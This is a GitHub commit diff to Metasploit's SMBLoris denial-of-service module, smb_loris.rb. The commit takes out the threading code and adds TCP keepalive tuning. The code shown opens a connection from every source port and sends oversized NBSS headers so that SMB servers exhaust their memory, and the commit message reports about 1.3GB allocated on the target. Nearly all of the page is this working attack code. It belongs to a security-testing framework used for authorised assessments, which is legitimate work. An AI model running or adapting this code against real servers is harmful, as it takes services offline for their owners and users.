Skip to content

Commit 15cc2a9

Browse files
David MaloneyDavid Maloney
authored andcommitted
removedthreading stuff, tried keepalives
still seem to be topping out at about 1.3GB allocated
1 parent e73ffe6 commit 15cc2a9

File tree

1 file changed

+15
-31
lines changed

1 file changed

+15
-31
lines changed

modules/auxiliary/dos/smb/smb_loris.rb

Lines changed: 15 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -50,45 +50,29 @@ def run
5050
header = NbssHeader.new
5151
header.message_length = 0x01FFFF
5252

53-
worker_threads = Queue.new
54-
55-
supervisor = Thread.new do
56-
loop do
57-
zombie_thread = worker_threads.pop(true)
58-
unless zombie_thread.nil?
59-
zombie_thread.kill
60-
end
61-
end
62-
end
63-
64-
linger = Socket::Option.linger(true, 30)
53+
linger = Socket::Option.linger(true, 60)
6554

6655
(1..65535).each do |src_port|
6756
print_status "Sending packet from Source Port: #{src_port}"
68-
mythr = Thread.new do
69-
opts = {
70-
'CPORT' => src_port,
71-
'ConnectTimeout' => 30
72-
}
73-
74-
begin
75-
#nsock = Socket.tcp(rhost, rport, '0.0.0.0' , src_port)
76-
nsock = connect(false, opts)
77-
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
78-
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true)
79-
nsock.setsockopt(linger)
80-
81-
nsock.write(header.to_binary_s)
82-
rescue Exception => e
83-
print_error "Exception sending packet: #{e.message}"
84-
end
57+
opts = {
58+
'CPORT' => src_port,
59+
'ConnectTimeout' => 360
60+
}
8561

62+
begin
63+
nsock = connect(false, opts)
64+
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
65+
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
66+
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
67+
nsock.setsockopt(linger)
68+
nsock.write(header.to_binary_s)
69+
rescue ::Exception => e
70+
print_error "Exception sending packet: #{e.message}"
8671
end
87-
worker_threads << mythr
8872
end
8973
print_status "Sleeping for 30 seconds..."
9074
select(nil, nil, nil, 30)
91-
supervisor.kill
75+
9276
end
9377

9478
end

0 commit comments

Comments
 (0)